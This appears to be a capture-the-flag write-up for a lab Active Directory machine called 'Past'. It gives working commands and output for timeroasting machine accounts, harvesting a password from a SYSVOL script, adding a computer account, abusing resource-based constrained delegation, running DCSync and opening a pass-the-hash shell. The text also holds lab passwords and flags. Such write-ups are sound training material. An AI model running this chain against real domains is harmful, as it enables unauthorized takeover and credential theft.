Overview

The machine starts by timeroasting machine accounts that cracks appdev01$ to find a sysvol logon script leaking tyler's kerberos credentials, using tyler's genericall over the dc to add a computer account and write rbcd to s4u to administrator. S4u2proxy impersonation enables dcsync to dump ntds and get shell as administrator and powershell history reveals ryan's password to get shell as ryan

Enumeration

Start with nmap scan

Looks like full AD environment, there isn't even any kind of web ports

  • Domain name is past.local and FQDN is EC2AMAZ-A5O4OL8.past.local
  • No skew so it is ready to go
  • Nothing else we can get out of this

Setup the environment and now we're ready to go

bash 
┌─[vpn.coursestack.com 10.200.80.207]─[jimmex@attacker]─[~/hacksmarter/past]
└──╼ [★]$ echo '10.1.105.35 EC2AMAZ-A5O4OL8 EC2AMAZ-A5O4OL8.past.local past.local' | sudo tee -a /etc/hosts
10.1.105.35 EC2AMAZ-A5O4OL8 EC2AMAZ-A5O4OL8.past.local past.local
┌─[vpn.coursestack.com 10.200.80.207]─[jimmex@attacker]─[~/hacksmarter/past]
└──╼ [★]$ sudo nxc smb past.local -u '' -p '' --generate-krb5-file /etc/krb5.conf
SMB 10.1.105.35 445 EC2AMAZ-A5O4OL8 [*] Windows Server 2016 Datacenter 14393 x64 (name:EC2AMAZ-A5O4OL8) (domain:past.local) (signing:True) (SMBv1:True) (Null Auth:True)
SMB 10.1.105.35 445 EC2AMAZ-A5O4OL8 [+] krb5 conf saved to: /etc/krb5.conf
SMB 10.1.105.35 445 EC2AMAZ-A5O4OL8 [+] Run the following command to use the conf file: export KRB5_CONFIG=/etc/krb5.conf
SMB 10.1.105.35 445 EC2AMAZ-A5O4OL8 [+] past.local\:

Just because I feel like something is missing, I am gonna run a full scan in the background for now

SMB

The guest account gives us access to the share Share

bash 
┌─[vpn.coursestack.com 10.200.80.207]─[jimmex@attacker]─[~/hacksmarter/past]
└──╼ [★]$ nxc smb past.local -u 'Guest' -p '' --shares
SMB 10.1.105.35 445 EC2AMAZ-A5O4OL8 [*] Windows Server 2016 Datacenter 14393 x64 (name:EC2AMAZ-A5O4OL8) (domain:past.local) (signing:True) (SMBv1:True) (Null Auth:True)
SMB 10.1.105.35 445 EC2AMAZ-A5O4OL8 [+] past.local\Guest:
SMB 10.1.105.35 445 EC2AMAZ-A5O4OL8 [*] Enumerated shares
SMB 10.1.105.35 445 EC2AMAZ-A5O4OL8 Share Permissions Remark
SMB 10.1.105.35 445 EC2AMAZ-A5O4OL8 ----- ----------- ------
SMB 10.1.105.35 445 EC2AMAZ-A5O4OL8 ADMIN$ Remote Admin
SMB 10.1.105.35 445 EC2AMAZ-A5O4OL8 C$ Default share
SMB 10.1.105.35 445 EC2AMAZ-A5O4OL8 IPC$ READ Remote IPC
SMB 10.1.105.35 445 EC2AMAZ-A5O4OL8 NETLOGON Logon server share
SMB 10.1.105.35 445 EC2AMAZ-A5O4OL8 Share READ
SMB 10.1.105.35 445 EC2AMAZ-A5O4OL8 SYSVOL Logon server share

And it has a single file called AD machines

bash 
┌─[vpn.coursestack.com 10.200.80.207]─[jimmex@attacker]─[~/hacksmarter/past]
└──╼ [★]$ smbclient //10.1.105.35/Share -U'Guest'%''
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Fri Jan 23 18:04:17 2026
  ..                                  D        0  Fri Jan 23 18:04:17 2026
  AD_machines.txt                     A      270  Fri Jan 23 18:04:17 2026

                7863807 blocks of size 4096. 2588831 blocks available
smb: \> get AD_machines.txt
getting file \AD_machines.txt of size 270 as AD_machines.txt (0.4 KiloBytes/sec) (average 0.4 KiloBytes/sec)
smb: \> exit

There is more than one machine in this domain so let's hope one of those machines is configured as pre2k machine

bash 
┌─[vpn.coursestack.com 10.200.80.207]─[jimmex@attacker]─[~/hacksmarter/past]
└──╼ [★]$ cat AD_machines.txt

Name DNSHostName
---- -----------
EC2AMAZ-A5O4OL8 EC2AMAZ-A5O4OL8.past.local
APPDEV01
WEBDEV01
DEV01

And none of them is configured as pre2k so let's move on

bash 
┌─[vpn.coursestack.com 10.200.80.207]─[jimmex@attacker]─[~/hacksmarter/past]
└──╼ [★]$ pre2k unauth -dc-ip 10.1.105.35 -d past.local -inputfile machines.txt -verbose

                                ___ __
                              /'___`\ /\ \
 _____   _ __    __          /\_\ /\ \\ \ \/'\
 /\ '__`\/\`' __\/'__`\ _______\/_/// /__\ \ , <
 \ \ \L\ \ \ \//\  __//\______\  // /_\ \\ \ \\`\
  \ \ ,__/\ \_\\ \____\/______/ /\______/ \ \_\ \_\
   \ \ \/  \/_/ \/____/         \/_____/   \/_/\/_/
    \ \_\                                      v3.1
     \/_/
                                            @unsigned_sh0rt
                                            @Tw1sm

[20:46:17] INFO     Testing started at 2026-08-11 20:46:17
[20:46:17] INFO     Using 10 threads
[20:46:17] DEBUG    Invalid credentials: past.local\APPDEV01$:appdev01
[20:46:17] DEBUG    Invalid credentials: past.local\DEV01$:dev01
[20:46:17] DEBUG    Invalid credentials: past.local\WEBDEV01$:webdev01

We also have access to the pipe to list users so let's try to find any asrep-roastable users

Access as appdev01$

No as-rep roastable users and we can try the kerberoasting against those accounts but nothing also so last thing we can do from here is the timeroasting

And we got a list of hashes, I am sure that it isn't the main DC host that it is crackable so I will omit it to save time and start with 1115 instead

bash 
┌─[vpn.coursestack.com 10.200.80.207]─[jimmex@attacker]─[/opt/scripts/timeroast]
└──╼ [★]$ python3 timeroast.py 10.1.105.35 --rids 1009-1117 | tee timeroast.out

1009:$sntp-ms$1c81862ea681528603b38fd71a36c51a$1c0111e900000000000a0d1f4c4f434cee265f618d401091e1b8428bffbfcd0aee2670af2d3fef03ee2670af2d401747
1115:$sntp-ms$4897044566bb8047f642d31806041dd4$1c0111e900000000000a0d204c4f434cee265f618f561c6ce1b8428bffbfcd0aee2670afcb3d6e1fee2670afcb3d88f7
1116:$sntp-ms$ace2f2e9d5ac4f53e0ffd0903f5a3430$1c0111e900000000000a0d204c4f434cee265f618c986261e1b8428bffbfcd0aee2670afcc985348ee2670afcc986917
1117:$sntp-ms$7327cebc2ad628928c4a662e893ff909$1c0111e900000000000a0d204c4f434cee265f618e6ec834e1b8428bffbfcd0aee2670afce6eb412ee2670afce6eceea

And I got a password for one of the hashes so no need to continue, I guess let's see what we can do with that password

Validating credentials and we are in

bash 
┌─[vpn.coursestack.com 10.200.80.207]─[jimmex@attacker]─[~/hacksmarter/past]
└──╼ [★]$ nxc smb past.local -u 'appdev01$' -p 'P@ssw0rd!'
SMB 10.1.105.35 445 EC2AMAZ-A5O4OL8 [*] Windows Server 2016 Datacenter 14393 x64 (name:EC2AMAZ-A5O4OL8) (domain:past.local) (signing:True) (SMBv1:True) (Null Auth:True)
SMB 10.1.105.35 445 EC2AMAZ-A5O4OL8 [+] past.local\appdev01$:P@ssw0rd!

Creds are also valid for ldap so let's collect data for BloodHound

bash 
┌─[vpn.coursestack.com 10.200.80.207]─[jimmex@attacker]─[~/hacksmarter/past]
└──╼ [★]$ bloodhound-ce-python -u 'appdev01$' -p 'P@ssw0rd!' -d past.local -ns 10.1.105.35 -c All --zip
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: past.local
INFO: Getting TGT for user
INFO: Connecting to LDAP server: ec2amaz-a5o4ol8.past.local
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 4 computers
INFO: Connecting to LDAP server: ec2amaz-a5o4ol8.past.local
INFO: Found 7 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 20 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer:
INFO: Querying computer:
INFO: Querying computer:
INFO: Querying computer: EC2AMAZ-A5O4OL8.past.local
INFO: Done in 00M 31S
INFO: Compressing output into 20260811211841_bloodhound.zip

Nothing was found for this though, no delegation or special groups so let's go back to smb again

Listing the shares again we got access over 2 more shares

bash 
┌─[vpn.coursestack.com 10.200.80.207]─[jimmex@attacker]─[~/hacksmarter/past]
└──╼ [★]$ nxc smb past.local -u 'appdev01$' -p 'P@ssw0rd!' --shares
SMB 10.1.105.35 445 EC2AMAZ-A5O4OL8 [*] Windows Server 2016 Datacenter 14393 x64 (name:EC2AMAZ-A5O4OL8) (domain:past.local) (signing:True) (SMBv1:True) (Nul
l Auth:True)
SMB 10.1.105.35 445 EC2AMAZ-A5O4OL8 [+] past.local\appdev01$:P@ssw0rd!
SMB 10.1.105.35 445 EC2AMAZ-A5O4OL8 [*] Enumerated shares
SMB 10.1.105.35 445 EC2AMAZ-A5O4OL8 Share Permissions Remark
SMB 10.1.105.35 445 EC2AMAZ-A5O4OL8 ----- ----------- ------
SMB 10.1.105.35 445 EC2AMAZ-A5O4OL8 ADMIN$ Remote Admin
SMB 10.1.105.35 445 EC2AMAZ-A5O4OL8 C$ Default share
SMB 10.1.105.35 445 EC2AMAZ-A5O4OL8 IPC$ READ Remote IPC
SMB 10.1.105.35 445 EC2AMAZ-A5O4OL8 NETLOGON READ Logon server share
SMB 10.1.105.35 445 EC2AMAZ-A5O4OL8 Share READ
SMB 10.1.105.35 445 EC2AMAZ-A5O4OL8 SYSVOL READ Logon server share

SYSVOL Scripts

Looking for scripts in SYSVOL we find a script with tyler_init name and we already knew that there is a user called tyler so maybe there is creds there

Access as Tyler

And we got password for the user tyler

bash 
┌─[vpn.coursestack.com 10.200.80.207]─[jimmex@attacker]─[~/hacksmarter/past]
└──╼ [★]$ cat tyler_init.cmd
@echo off
REM Temporary dev helper - DO NOT REMOVE
REM Tyler auto-login helper

set TYLER_USER=tyler
set TYLER_PASS=5rtfgvb%RTFGVB

REM Fake ?use? of the vars so it looks intentional
echo Initializing dev environment for %TYLER_USER%...

Validating the credentials, the user can only use Kerberos which we already knew from kerbrute downgrade failure

bash 
┌─[vpn.coursestack.com 10.200.80.207]─[jimmex@attacker]─[~/hacksmarter/past]
└──╼ [★]$ nxc smb past.local -u tyler -p '5rtfgvb%RTFGVB'
SMB 10.1.105.35 445 EC2AMAZ-A5O4OL8 [*] Windows Server 2016 Datacenter 14393 x64 (name:EC2AMAZ-A5O4OL8) (domain:past.local) (signing:True) (SMBv1:True) (Null Auth:True)
SMB 10.1.105.35 445 EC2AMAZ-A5O4OL8 [-] past.local\tyler:5rtfgvb%RTFGVB STATUS_ACCOUNT_RESTRICTION
┌─[vpn.coursestack.com 10.200.80.207]─[jimmex@attacker]─[~/hacksmarter/past]
└──╼ [★]$ nxc smb past.local -u tyler -p '5rtfgvb%RTFGVB' -k
SMB past.local 445 EC2AMAZ-A5O4OL8 [*] Windows Server 2016 Datacenter 14393 x64 (name:EC2AMAZ-A5O4OL8) (domain:past.local) (signing:True) (SMBv1:True) (Null Auth:True)
SMB past.local 445 EC2AMAZ-A5O4OL8 [+] past.local\tyler:5rtfgvb%RTFGVB

Looking again in BloodHound and we have GenericAll over the DC so let's abuse that ss_20260811_213126.png

RBCD DC

So first we add a computer account to the domain

bash 
┌─[vpn.coursestack.com 10.200.80.207]─[jimmex@attacker]─[~/hacksmarter/past]
└──╼ [★]$ addcomputer.py -dc-ip 10.1.105.35 -dc-host EC2AMAZ-A5O4OL8.past.local -computer-name 'ATK01$' -computer-pass 'Password123!' -k past.local/tyler:'5rtfgvb%RTFGVB'
Impacket v0.14.0.dev0+20260407.172353.7fc084ad - Copyright Fortra, LLC and its affiliated companies

[-] CCache file is not found. Skipping...
[*] Successfully added machine account ATK01$ with password Password123!.

Then add RBCD on the DC telling it that the computer account ATK01$ can impersonate whatever user against DC

bash 
┌─[vpn.coursestack.com 10.200.80.207]─[jimmex@attacker]─[~/hacksmarter/past]
└──╼ [★]$ rbcd.py -delegate-to 'EC2AMAZ-A5O4OL8$' -delegate-from 'ATK01$' -action write -k -dc-ip 10.1.105.35 -dc-host EC2AMAZ-A5O4OL8.PAST.LOCAL past.local/tyler:'5rtfgvb%RTFGVB'
Impacket v0.14.0.dev0+20260407.172353.7fc084ad - Copyright Fortra, LLC and its affiliated companies

[-] CCache file is not found. Skipping...
[*] Accounts allowed to act on behalf of other identity:
[-] SID not found in LDAP: S-1-5-21-1361116239-706371773-96491794-1118
[-] SID not found in LDAP: S-1-5-21-1361116239-706371773-96491794-1119
[-] SID not found in LDAP: S-1-5-21-1361116239-706371773-96491794-1120
[*] Delegation rights modified successfully!
[*] ATK01$ can now impersonate users on EC2AMAZ-A5O4OL8$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[-] SID not found in LDAP: S-1-5-21-1361116239-706371773-96491794-1118
[-] SID not found in LDAP: S-1-5-21-1361116239-706371773-96491794-1119
[-] SID not found in LDAP: S-1-5-21-1361116239-706371773-96491794-1120
[*]     ATK01$       (S-1-5-21-1361116239-706371773-96491794-1610)

Now all is left is standard S4U2Self (Getting impersonated ticket as administrator against ATK01$) then S4U2Proxy (asking DC to access it using this administrator account cause we can impersonate against it)

Then dump the entire domain with DCSync

And we get the root flag

bash 
┌─[vpn.coursestack.com 10.200.80.207]─[jimmex@attacker]─[~/hacksmarter/past]
└──╼ [★]$ evil-winrm -i 10.1.105.35 -u administrator -H
Evil-WinRM shell v3.9

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> type ..\Desktop\root.txt
HSM{HFIU9259FJHJKB091<REALLY !>}
*Evil-WinRM* PS C:\Users\Administrator\Documents>

It still needs the user's ryan clear password so let's try to figure that out

before digging in DPAPI, browsers stuff is PowerShell history at %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt so using smbclient.py I downloaded it

And looks like the administrator added the user through PowerShell so we got the password

bash 
┌─[vpn.coursestack.com 10.200.80.207]─[jimmex@attacker]─[~/hacksmarter/past]
└──╼ [★]$ cat ConsoleHost_history.txt

net user ryan 1qaz3ed<QUARTER BACK> /add
net localgroup administrators /add ryan
exit
net computer
Get-ADComputer -Filter * | Select-Object Name
net use \\dev01\c$
whoami
id
net localgroup administrators
net group "domain admins"
exit

Path

Pasted image 20260821204626.png

Resources